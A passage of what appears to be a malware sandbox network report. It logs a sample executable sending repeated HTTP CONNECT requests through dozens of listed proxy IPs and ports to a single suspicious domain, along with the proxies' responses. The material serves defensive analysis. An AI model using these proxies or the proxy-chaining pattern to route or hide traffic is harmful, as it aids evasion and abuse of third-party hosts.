69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet"> <style type="text/css"> body { height: 100%; font-family: Roboto, Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	51599	156.67.217.159	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.969079018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.301918983 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	51723	45.14.174.180	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.983571053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.070600986 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	51691	18.185.169.150	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.985488892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.160541058 CET	144	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/plain X-Powered-By: ASP.NET Server: squid/4.14 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	50821	65.20.216.249	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.985492945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	51700	98.188.47.150	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.006921053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	51631	27.65.116.243	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.009859085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	51662	8.213.128.6	11	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.027086973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.340806007 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	51704	184.185.2.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.034257889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	51855	91.231.186.133	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.044774055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	51860	91.231.186.133	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.054100037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.4	51725	46.17.63.166	4154	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.058753014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.234554052 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	51864	91.231.186.133	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.059421062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	50815	61.129.2.212	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.065709114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.612138033 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	51567	112.51.96.118	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.072633028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098624945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.685672998 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	51739	174.64.199.82	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.080480099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	51729	154.92.116.77	6389	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.100615978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.402740002 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	50801	92.255.164.166	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.101589918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	51800	104.21.85.109	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.119524002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.207263947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	51757	139.180.39.205	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.120573997 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:21.311067104 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.4	51750	98.170.57.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.120656013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	51742	47.229.171.150	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.120834112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.680795908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366487980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.680294991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.975100994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.365895033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680622101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.178508997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.084261894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	51736	95.140.154.75	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.120997906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.724889040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334815025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.646940947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.844052076 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	51807	172.67.162.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.121227980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.208822966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	51744	139.59.149.137	38062	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.121524096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.587043047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	51835	104.23.100.73	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.135601997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.223593950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	51762	72.195.34.41	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.136008024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	51791	198.27.82.143	32007	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.136271000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.586998940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098788977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893712997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.464884043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.055339098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700213909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.944087982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.334772110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	51848	203.24.109.109	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.146369934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.234285116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	50907	45.67.210.47	3389	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.162723064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.178307056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178745031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.974772930 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
